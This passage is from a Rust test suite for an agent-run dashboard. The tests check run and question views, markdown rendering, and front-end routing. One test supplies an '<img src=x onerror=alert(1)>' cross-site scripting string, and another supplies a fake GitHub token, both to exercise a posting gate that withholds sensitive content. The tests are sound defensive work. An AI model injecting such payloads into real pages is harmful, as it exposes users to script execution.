22119        assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
22120        // The subtitle still counts them whatever the banner does.
22121        assert!(APP_JS.contains("unreadable` : null"));
22122    }
22123
22124    #[test]
22125    fn blocked_run_detail_exposes_the_failed_gate_reason() {
22126        let mut state = RunState::new(
22127            "/repo".into(),
22128            "main".into(),
22129            "abc".into(),
22130            "task".into(),
22131            crate::config::Config::default(),
22132        );
22133        state.status = RunStatus::Blocked;
22134        state.gate_ran = true;
22135        state.gate.push(crate::run::CommandOutcome {
22136            command: "cargo make check".into(),
22137            code: Some(1),
22138            output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
22139            duration_ms: 0,
22140            resource_blocked: false,
22141            ..Default::default()
22142        });
22143        let view = RunDetailView::of(
22144            state,
22145            false,
22146            crate::run::Liveness::Unknown,
22147            None,
22148            None,
22149            None,
22150        );
22151        let value = serde_json::to_value(view).unwrap();
22152        assert_eq!(
22153            value["stop_reason"],
22154            "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
22155        );
22156    }
22157
22158    #[test]
22159    fn the_run_detail_payload_says_whether_the_run_is_done() {
22160        // `landView` reads `run.done`; the detail response must carry it.
22161        for (status, done) in [
22162            (RunStatus::Superseded, true),
22163            (RunStatus::Blocked, true),
22164            (RunStatus::Landing, false),
22165        ] {
22166            let mut state = RunState::new(
22167                std::path::PathBuf::from("/repo"),
22168                "main".to_owned(),
22169                "abc".to_owned(),
22170                "x".to_owned(),
22171                crate::config::Config::default(),
22172            );
22173            state.status = status;
22174            let v = serde_json::to_value(RunDetailView::of(
22175                state,
22176                false,
22177                crate::run::Liveness::Unknown,
22178                None,
22179                None,
22180                None,
22181            ))
22182            .unwrap();
22183            assert_eq!(v["done"], done, "{status:?}");
22184        }
22185    }
22186
22187    /// The first node of a markdown block holds a `strong` somewhere.
22188    fn has_strong(nodes: &[md::Node]) -> bool {
22189        serde_json::to_string(nodes).unwrap().contains("strong")
22190    }
22191
22192    #[test]
22193    fn the_run_detail_payload_carries_markdown_for_agent_prose() {
22194        let mut state = RunState::new(
22195            std::path::PathBuf::from("/repo"),
22196            "main".to_owned(),
22197            "abc".to_owned(),
22198            "x".to_owned(),
22199            crate::config::Config::default(),
22200        );
22201        let proposal = |approach: &str| {
22202            serde_json::json!({
22203                "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
22204            })
22205        };
22206        state.advice = Some(
22207            serde_json::from_value(serde_json::json!({
22208                "records": [
22209                    {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
22210                     "proposal": proposal("do **this**")},
22211                    {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
22212                ],
22213                "synthesis": "- one\n- **two**\n\n`code`",
22214            }))
22215            .unwrap(),
22216        );
22217        state.candidates = serde_json::from_value(serde_json::json!([
22218            {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
22219             "summary": "did **it**"},
22220            {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
22221        ]))
22222        .unwrap();
22223        // Recorded in ascending severity, the reverse of how the page sorts
22224        // them: the arrays must follow the record, not the display.
22225        state.reviews = serde_json::from_value(serde_json::json!([{
22226            "round": 1, "head": "h",
22227            "reviews": [{
22228                "reviewer": 1, "agent": "a", "summary": "sum **mary**",
22229                "findings": [
22230                    {"severity": "nit", "title": "t1", "detail": "plain nit"},
22231                    {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
22232                ],
22233            }],
22234            "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
22235            "fix": {"agent": "a", "notes": "fixed **it**",
22236                    "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
22237        }, {"round": 2, "head": "h2", "reviews": []}]))
22238        .unwrap();
22239
22240        let v = serde_json::to_value(RunDetailView::of(
22241            state,
22242            false,
22243            crate::run::Liveness::Unknown,
22244            None,
22245            None,
22246            None,
22247        ))
22248        .unwrap();
22249
22250        let strong = |p: &str| {
22251            let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
22252            assert!(n.to_string().contains("strong"), "{p}: {n}");
22253        };
22254        strong("/advice_md/synthesis");
22255        assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
22256        assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
22257        strong("/advice_md/approaches/0");
22258        assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
22259        strong("/candidate_summaries_md/0");
22260        assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
22261        strong("/reviews_md/0/reviewers/0/summary");
22262        let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
22263        assert!(!f[0].to_string().contains("strong"), "recorded order kept");
22264        assert!(f[1].to_string().contains("strong"));
22265        strong("/reviews_md/0/reconsideration/0");
22266        strong("/reviews_md/0/fix/notes");
22267        strong("/reviews_md/0/fix/rejected/0");
22268        assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
22269        assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
22270        // The raw strings stay, and no schema moved.
22271        assert_eq!(v["candidates"][0]["summary"], "did **it**");
22272        assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
22273    }
22274
22275    #[test]
22276    fn a_run_without_advice_has_no_advice_md() {
22277        let state = RunState::new(
22278            std::path::PathBuf::from("/repo"),
22279            "main".to_owned(),
22280            "abc".to_owned(),
22281            "x".to_owned(),
22282            crate::config::Config::default(),
22283        );
22284        let p = run_prose_md(&state);
22285        assert!(p.advice_md.is_none());
22286        assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
22287    }
22288
22289    #[test]
22290    fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
22291        let store = ask::Questions::at(PathBuf::from("unused"));
22292        let gt = crate::github_text::Withheld {
22293            title: false,
22294            body: true,
22295            categories: vec!["sensitive-data".into()],
22296        };
22297        let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
22298        let (detail, comparison) =
22299            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
22300        let mut q = Question::new(
22301            "r".into(),
22302            "github-text".into(),
22303            "posting-gate".into(),
22304            "s".into(),
22305            detail,
22306            Vec::new(),
22307        );
22308        assert!(
22309            QuestionView::of(q.clone(), &store, None)
22310                .posting_view
22311                .is_none()
22312        );
22313        q.posting_comparison = Some(comparison);
22314        let view = QuestionView::of(q.clone(), &store, None);
22315        let field = &view.posting_view.unwrap().fields[0];
22316        assert_eq!(
22317            field
22318                .original
22319                .iter()
22320                .map(|f| f.text.as_str())
22321                .collect::<String>(),
22322            body
22323        );
22324        assert!(field.original[0].text.starts_with("<img"));
22325        let original_question: Question =
22326            serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
22327        assert_eq!(original_question, q);
22328        q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
22329            .original
22330            .start = 1;
22331        assert!(
22332            QuestionView::of(q.clone(), &store, None)
22333                .posting_view
22334                .is_none()
22335        );
22336        q.posting_comparison = original_question.posting_comparison;
22337        q.detail.push_str("extra context");
22338        assert!(
22339            QuestionView::of(q.clone(), &store, None)
22340                .posting_view
22341                .is_some()
22342        );
22343        q.detail.insert(0, 'x');
22344        assert!(QuestionView::of(q, &store, None).posting_view.is_none());
22345    }
22346
22347    #[test]
22348    fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
22349        let store = ask::Questions::at(PathBuf::from("unused"));
22350        let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
22351        let gt = crate::github_text::Withheld::from_check(
22352            &crate::github_text::check("fix: x", body),
22353            "fix: x",
22354            body,
22355        )
22356        .unwrap();
22357        let (detail, comparison) =
22358            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
22359        let mut q = Question::new(
22360            "r".into(),
22361            "github-text".into(),
22362            "posting-gate".into(),
22363            "s".into(),
22364            detail,
22365            Vec::new(),
22366        );
22367        q.posting_comparison = Some(comparison);
22368        let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
22369        let field = &value["posting_view"]["fields"][0];
22370        let group = &field["replacement_group"];
22371        let triggers = group["triggers"].as_array().unwrap();
22372        assert_eq!(triggers.len(), 2);
22373        assert_ne!(triggers[0], triggers[1]);
22374        for id in triggers {
22375            assert!(
22376                field["original"]
22377                    .as_array()
22378                    .unwrap()
22379                    .iter()
22380                    .any(|f| &f["pair"] == id)
22381            );
22382            assert!(
22383                !field["changed"]
22384                    .as_array()
22385                    .unwrap()
22386                    .iter()
22387                    .any(|f| &f["pair"] == id)
22388            );
22389        }
22390        q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
22391            group["id"].as_u64().unwrap() as usize;
22392        assert!(
22393            QuestionView::of(q, &store, None).posting_view.is_none(),
22394            "group and trigger IDs cannot collide"
22395        );
22396    }
22397
22398    #[test]
22399    fn a_question_view_carries_markdown_for_each_thread_turn() {
22400        let home = TempDir::new().unwrap();
22401        let store = ask::Questions::at(home.path().join("questions"));
22402        let mut q = Question::new(
22403            "run".to_owned(),
22404            "implement".to_owned(),
22405            "impl-A".to_owned(),
22406            "which?".to_owned(),
22407            String::new(),
22408            Vec::new(),
22409        );
22410        q.say("plain words").unwrap();
22411        q.reply("use **this**", Vec::new()).unwrap();
22412        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
22413        let bodies = &v["thread_bodies_md"];
22414        assert_eq!(bodies.as_array().unwrap().len(), 2);
22415        assert!(!bodies[0].to_string().contains("strong"));
22416        assert!(bodies[1].to_string().contains("strong"));
22417    }
22418
22419    #[test]
22420    fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
22421        let home = TempDir::new().unwrap();
22422        let store = ask::Questions::at(home.path().join("questions"));
22423        let mut q = Question::new(
22424            "run".to_owned(),
22425            "conduct".to_owned(),
22426            "conduct".to_owned(),
22427            "which?".to_owned(),
22428            String::new(),
22429            Vec::new(),
22430        );
22431        q.say("plain words").unwrap();
22432        q.thread.push(ask::Turn {
22433            who: ask::Who::Agent,
22434            body: "Settled as `merge`".to_owned(),
22435            at: jiff::Timestamp::now(),
22436            note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
22437        });
22438        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
22439        let notes = &v["thread_notes_md"];
22440        assert_eq!(notes.as_array().unwrap().len(), 2);
22441        assert!(notes[0].is_null());
22442        let text = notes[1].to_string();
22443        assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
22444        assert!(APP_JS.contains("ask-turn-note"));
22445    }
22446
22447    #[test]
22448    fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
22449        // The land panel defers to `run.status` for merged, and labels a
22450        // recorded-open PR on any finished run (superseded, blocked, ...) as
22451        // last seen, never as live state.
22452        assert!(APP_JS.contains("function landView(run, raw) {"));
22453        assert!(
22454            APP_JS.contains(
22455                "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
22456            )
22457        );
22458        assert!(APP_JS.contains("const pr = landView(run, raw);"));
22459        assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
22460        assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
22461        assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
22462    }
22463
22464    #[test]
22465    fn live_runs_are_never_hidden_or_folded_as_superseded() {
22466        assert!(APP_JS.contains("function isLiveAttempt(run) {\n  return !run.done;"));
22467        assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
22468        assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
22469        assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
22470    }
22471
22472    #[test]
22473    fn review_rounds_label_a_distinct_verified_head() {
22474        assert!(APP_JS.contains("round.verified_head"));
22475        assert!(APP_JS.contains("verified HEAD"));
22476        assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
22477    }
22478
22479    #[test]
22480    fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
22481        // A blocked task's chip and note must not fall back to a queued-like
22482        // rendering - review 1623 R2-2-1's finding, fixed for the chip table
22483        // itself by e11fc58 but never checked here.
22484        assert!(APP_JS.contains("blocked: { glyph:"));
22485        assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
22486
22487        // `blocked_by` mixes task ids and question ids in the same list, and
22488        // the client can only tell them apart by checking each id against
22489        // what it actually knows - never by guessing from the id's shape.
22490        assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
22491        assert!(
22492            APP_JS.contains(
22493                "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
22494            ),
22495            "the note line must name what a blocked task is waiting on, not just that it is blocked"
22496        );
22497        // The classification must key off `status_str`, never off `blocked_by`
22498        // or `block_reason` merely being present - both can survive briefly
22499        // on a task a hold or a dead daemon just moved off `blocked`.
22500        assert!(APP_JS.contains("if (status === \"blocked\") {"));
22501
22502        // A question a task is blocked on gets its own node in the same
22503        // dependency graph, not just a task-shaped node with nothing known
22504        // about it. The web_render browser test checks the actual destination.
22505        assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
22506        assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
22507
22508        // `Task::answers` - decisions already made - are shown as a record on
22509        // the card, the same disclosure style as the full instruction.
22510        assert!(APP_JS.contains("Resolved questions"));
22511        assert!(APP_JS.contains("r.answersList.append("));
22512        assert!(APP_CSS.contains(".task-answers"));
22513        {
22514            let start = APP_JS
22515                .find("function updateTalkTaskRow")
22516                .expect("updateTalkTaskRow");
22517            let body = &APP_JS[start..];
22518            let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
22519            assert!(
22520                body.contains(
22521                    "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
22522                ),
22523                "a chat-filed task row must link to the task page"
22524            );
22525            assert!(
22526                !body.contains("#/runs/") && !body.contains("#/queue/"),
22527                "the row must not branch to a run or the queue card"
22528            );
22529            assert!(APP_CSS.contains(".talk-task-link"));
22530        }
22531    }
22532
22533    #[test]
22534    fn a_task_notification_links_to_the_task_page() {
22535        // A task notice opens the task detail page, not the Backlog card.
22536        let start = APP_JS
22537            .find("function noticeLink(")
22538            .expect("noticeLink exists");
22539        let body = &APP_JS[start..];
22540        let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
22541        assert!(
22542            body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
22543            "a task notice's link must target the task page"
22544        );
22545        assert!(
22546            !body.contains("#/queue/"),
22547            "regression: the task link must not go back to the Backlog route"
22548        );
22549        assert!(
22550            APP_JS.contains(
22551                "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
22552            ),
22553            "`#/tasks/<id>` must parse into the task route"
22554        );
22555
22556        // `#/queue/<id>` (card permalinks, old bookmarks) keeps working.
22557        assert!(
22558            APP_JS.contains(
22559                "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
22560            ),
22561            "`#/queue/<id>` must parse into a route carrying that id"
22562        );
22563
22564        // And the Backlog view has to actually land on the card once it can
22565        // - see consumeQueueFocus(), which renderQueue() calls on every pass
22566        // so a focus set before the queue has loaded is retried once it has.
22567        assert!(APP_JS.contains("state.queueFocus = route.id;"));
22568        assert!(APP_JS.contains("function consumeQueueFocus()"));
22569        assert!(APP_JS.contains("jumpToTask(id)"));
22570    }
22571
22572    #[test]
22573    fn notifications_distinguish_actionable_questions_from_informational_notices() {
22574        let start = APP_JS
22575            .find("function noticeCoveredBy(")
22576            .expect("noticeCoveredBy exists");
22577        let body = &APP_JS[start..];
22578        let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
22579
22580        // Historical associations are informational, even for open questions.
22581        assert!(body.contains("Associated question ${short}"));
22582        assert!(!body.contains("el(\"a\""));
22583
22584        // A resolved question displays status rather than an actionable link
22585        assert!(body.contains("(resolved)"));
22586        assert!(body.contains("(closed)"));
22587
22588        let start = APP_JS
22589            .find("function renderNotifications()")
22590            .expect("renderNotifications exists");
22591        let body = &APP_JS[start..];
22592        let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
22593
22594        // Only a server-resolved answerable question supplies a response link.
22595        assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
22596        assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
22597        assert!(body.contains("text: \"Open question to respond\",\n    }) : null;"));
22598        assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
22599    }
22600
22601    /// Chat rows are two lines at every width: the title alone, then the
22602    /// shrinkable secondary info.
22603    #[test]
22604    fn chat_rows_put_the_title_alone_on_the_first_line() {
22605        assert!(APP_CSS.contains("#talks-list .card-title {\n  grid-row: 1; grid-column: 1 / -1;"));
22606        assert!(APP_CSS.contains(
22607            "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
22608        ));
22609        assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
22610        assert!(APP_JS.contains("class: \"badge talk-unread\""));
22611    }
22612
22613    #[test]
22614    fn run_rows_put_the_title_alone_on_the_first_line() {
22615        assert!(
22616            APP_CSS.contains(
22617                ".cards .card.run-card .card-title {\n  grid-row: 1; grid-column: 1 / -1;"
22618            )
22619        );
22620        assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
22621        assert!(APP_JS.contains("class: \"card run-card\""));
22622        assert!(APP_JS.contains("class: \"repo run-id\""));
22623    }
22624
22625    /// Wide screens get a master/detail layout built from the views a phone
22626    /// drills into. These are string assertions: they pin the contract between
22627    /// the three assets, not how it looks.
22628    #[test]
22629    fn wide_screens_show_list_and_preview_side_by_side() {
22630        // One breakpoint, spelled the same in the script and the stylesheet.
22631        assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
22632        assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
22633        assert!(APP_CSS.contains("main[data-split]"));
22634        assert!(APP_CSS.contains("body[data-split]"));
22635
22636        // The route -> panes table, and a narrow screen opting out of it.
22637        assert!(APP_JS.contains("function splitPanes(route, wide) {\n  if (!wide) return null;"));
22638        assert!(
22639            APP_JS.contains(
22640                "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
22641            )
22642        );
22643        assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
22644        assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
22645        assert!(INDEX_HTML.contains("id=\"split-empty\""));
22646
22647        // Selection is derived from the route, and only ever paints a row.
22648        assert!(APP_JS.contains("function markSelected() {"));
22649        assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
22650        assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
22651        // The dense row must override the stacked card the 720px block sets up.
22652        assert!(
22653            APP_CSS.contains(
22654                "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
22655            )
22656        );
22657
22658        // Independent scrolling: the page stops scrolling, each pane does.
22659        assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
22660        assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
22661        assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
22662        assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
22663
22664        // A refresh must never navigate: the loaders still check that their
22665        // subject is the one on screen, and crossing the breakpoint only
22666        // re-reads the hash.
22667        assert!(APP_JS.contains("if (state.detail !== detail) return;"));
22668        assert!(APP_JS.contains("if (state.taskDetail !== detail) return;"));
22669        assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
22670        assert!(APP_JS.contains("const relayout = () => applyRoute();"));
22671
22672        // The panel sandbox carries exactly allow-popups and allow-popups-to-escape-sandbox.
22673        assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
22674    }
22675
22676    #[test]
22677    fn panel_sandbox_carries_exactly_popups() {
22678        let needle = "sandbox: \"";
22679        let matches: Vec<_> = APP_JS.match_indices(needle).collect();
22680        assert_eq!(
22681            matches.len(),
22682            1,
22683            "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
22684        );
22685        let start = matches[0].0 + needle.len();
22686        let end = APP_JS[start..]
22687            .find('"')
22688            .expect("sandbox attribute value must be terminated by a closing quote");
22689        let val = &APP_JS[start..start + end];
22690        let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
22691        let expected: std::collections::BTreeSet<&str> =
22692            ["allow-popups", "allow-popups-to-escape-sandbox"]
22693                .into_iter()
22694                .collect();
22695        assert_eq!(tokens, expected, "sandbox tokens must match exactly");
22696        assert!(
22697            !tokens.contains("allow-scripts"),
22698            "allow-scripts must never be present in sandbox"
22699        );
22700        assert!(
22701            !tokens.contains("allow-same-origin"),
22702            "allow-same-origin must never be present in sandbox"
22703        );
22704    }
22705
22706    #[test]
22707    fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
22708        // consumeQueueFocus() clears an active Backlog search before it can
22709        // scroll to the target card (the sections list is hidden while a
22710        // search is showing), by recursing back into renderQueue(). The
22711        // fixer's first cut nulled state.queueFocus before that recursive
22712        // call, so the second pass saw nothing to jump to and the jump was
22713        // silently dropped whenever a notification's link was opened with a
22714        // stale search still active. state.queueFocus must only be cleared
22715        // right before jumpToTask() actually runs.
22716        assert!(
22717            APP_JS.contains(
22718                "  }\n  if (state.queueSearch.trim() !== \"\") {\n    state.queueSearch = \"\";"
22719            ),
22720            "the search-clearing branch must run before state.queueFocus is cleared, or the \
22721             recursive renderQueue() call has nothing left to jump to"
22722        );
22723        assert!(
22724            APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
22725            "state.queueFocus must be cleared only once the jump has landed, so a card that \
22726             arrives later still gets it"
22727        );
22728        assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
22729        assert!(APP_JS.contains("is not in the current Backlog."));
22730        assert!(APP_JS.contains("li.card[data-task-id=\""));
22731        assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
22732        assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
22733        assert!(APP_CSS.contains(".card-permalink"));
22734        assert!(APP_CSS.contains(".queue-focus-status"));
22735        assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
22736    }
22737
22738    #[test]
22739    fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
22740        // The task's own repro: only the link text inside .notice-meta was
22741        // clickable, so a tap on the message, the timestamp, or the card's
22742        // padding did nothing - on a phone that reads as "the card doesn't
22743        // work" even though the tiny link inside it did. Mark read / Dismiss
22744        // must keep working independently of this: `.closest("a, button")`
22745        // is what lets a tap that actually lands on those elements fall
22746        // through instead of being hijacked into a navigation.
22747        assert!(
22748            APP_JS.contains(
22749                "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
22750            ),
22751            "the notice card itself must forward a tap outside its link/buttons to the link's own click"
22752        );
22753    }
22754
22755    #[test]
22756    fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
22757        assert!(
22758            APP_JS.contains("round.verified_head !== round.head"),
22759            "a round that verified an earlier commit must be visibly distinct from one that \
22760             verified the head reviewers are looking at now"
22761        );
22762        assert!(
22763            APP_JS.contains("round.verified_at"),
22764            "when a check ran must be on the wire, not just which commit"
22765        );
22766        assert!(
22767            APP_JS.contains("resource_blocked"),
22768            "a command magi never got to run (shared build cache contention) must not render \
22769             the same as a command that ran and failed"
22770        );
22771    }
22772
22773    #[test]
22774    fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
22775        // Every KPI tile but Total runs and Completion names an exact
22776        // RunStatus and hands it to openRunsFiltered(), which is what wires
22777        // the click into state.runsFilter.status (matchesFilter's own
22778        // status check) rather than the coarser runsStateFilter chips. Each
22779        // status literal here must be one of the strings runSection() (and
22780        // isStale()) actually compare a run's own `status` field against -
22781        // a status this dashboard invented would filter to nothing.
22782        assert!(
22783            APP_JS.contains("onClick: () => openRunsFiltered(status)"),
22784            "every KPI tile built through statusTile() must route its click through \
22785             openRunsFiltered, the single place that sets the Runs filter"
22786        );
22787        for (label, status) in [
22788            ("Merged", "merged"),
22789            ("Ready", "ready"),
22790            ("Blocked", "blocked"),
22791            ("Stalled", "stalled"),
22792        ] {
22793            let call = format!("statusTile(\"{label}\", t.{status}, ");
22794            assert!(
22795                APP_JS.contains(&call),
22796                "expected the {label} KPI tile built via {call}..."
22797            );
22798            assert!(
22799                APP_JS.contains(&format!("status === \"{status}\"")),
22800                "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
22801                 compare a run against, not one invented only for the stats tile"
22802            );
22803        }
22804        assert!(
22805            APP_JS.contains("function openRunsFiltered(status)"),
22806            "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
22807        );
22808        assert!(
22809            APP_JS.contains(
22810                "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
22811            ),
22812            "matchesFilter must gate on the statuses of the bucket a KPI tile named"
22813        );
22814        // applyRoute() only flips which view is visible for a plain `#runs`
22815        // hash - it does not itself redraw the list (see applyRoute's own
22816        // handling below) - so openRunsFiltered must call renderRuns()
22817        // itself, and must call applyRoute() too so the view flips even
22818        // when the hash string doesn't change (the operator may already be
22819        // on the Runs view when a tile is tapped, which fires no
22820        // hashchange event at all).
22821        assert!(
22822            APP_JS.contains("  location.hash = \"#runs\";\n  applyRoute();\n  renderRuns();\n}"),
22823            "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
22824             hashchange event that may never fire"
22825        );
22826    }
22827
22828    #[test]
22829    fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
22830        // A stats tile can leave state.runsFilter.status set to something
22831        // done-by-construction (e.g. "merged") - picking "Active" afterward
22832        // must drop it the same way an incompatible tree section is already
22833        // dropped, or the Runs list renders permanently empty with no way
22834        // for the operator to tell why.
22835        assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
22836        assert!(
22837            APP_JS.contains(
22838                "  if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n    state.runsFilter = { ...state.runsFilter, status: null };\n  }"
22839            ),
22840            "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
22841             guard for an incompatible tree section"
22842        );
22843    }
22844
22845    #[test]
22846    fn every_stats_queue_tile_names_a_real_queue_section() {
22847        // renderStatsQueue()'s tiles each call openQueueSectionFocus() with a
22848        // QUEUE_SECTIONS key; a typo here would silently no-op the tile
22849        // (consumeQueueSectionFocus finds no matching <details> and drops
22850        // the focus) rather than fail loudly, so pin every key against the
22851        // section list it has to resolve against.
22852        assert!(
22853            APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
22854            "every queue tile built through sectionTile() must route its click through \
22855             openQueueSectionFocus"
22856        );
22857        for key in ["upnext", "running", "done", "held", "blocked"] {
22858            assert!(
22859                APP_JS.contains(&format!("{{ key: \"{key}\",")),
22860                "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
22861            );
22862        }
22863        // Queued and Failed intentionally both resolve to "upnext" - the
22864        // same section queueSection() itself files them under - rather than
22865        // getting a section each.
22866        for line in [
22867            "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
22868            "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
22869            "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
22870            "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
22871            "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
22872            "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
22873        ] {
22874            assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
22875        }
22876    }
22877
22878    #[test]
22879    fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
22880        // Mirrors consuming_a_queue_focus_survives_clearing_a_stale_backlog_search
22881        // above for the section-focus channel a stats queue tile drives:
22882        // consumeQueueSectionFocus() must leave state.queueSectionFocus set
22883        // through the stale-search-clear recursion into renderQueue(), and
22884        // clear it only once revealQueueSection() is actually about to run -
22885        // the same trap that once silently dropped a task-focus jump.
22886        assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
22887        assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
22888        assert!(APP_JS.contains("function revealQueueSection(details)"));
22889        assert!(
22890            APP_JS.contains("consumeQueueFocus();\n  consumeQueueSectionFocus();"),
22891            "renderQueue() must consume both focus channels on every pass"
22892        );
22893        assert!(
22894            APP_JS.contains(
22895                "  const key = state.queueSectionFocus;\n  if (!key || state.queue === null) return;\n  if (state.queueSearch.trim() !== \"\") {"
22896            ),
22897            "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
22898             the recursive renderQueue() call has nothing left to reveal"
22899        );
22900        assert!(
22901            APP_JS.contains(
22902                "  const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n  state.queueSectionFocus = null;\n  if (details) revealQueueSection(details);"
22903            ),
22904            "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
22905        );
